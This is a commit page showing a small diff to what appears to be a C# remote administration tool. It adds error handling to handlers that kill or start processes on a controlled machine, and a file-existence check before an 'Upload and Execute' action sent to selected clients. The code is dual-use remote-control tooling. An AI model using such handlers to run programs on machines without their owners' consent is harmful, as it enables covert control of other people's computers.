Merge pull request #76 from yankejustin/master

Fixed two separate crashes
This commit is contained in:
MaxXor 2015-05-05 09:03:07 +02:00
commit 304a342f19
2 changed files with 18 additions and 7 deletions

View File

@ -312,18 +312,29 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command,
Process.GetProcessById(command.PID).Kill();
}
catch
{ }
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
{
ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname};
Process.Start(startInfo);
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
if (!string.IsNullOrEmpty(command.Processname))
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
Process.Start(startInfo);
}
catch
{ }
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
}
}
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)

View File

@ -530,7 +530,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
{
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
{
if (frm.ShowDialog() == DialogResult.OK)
if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
{
new Thread(() =>
{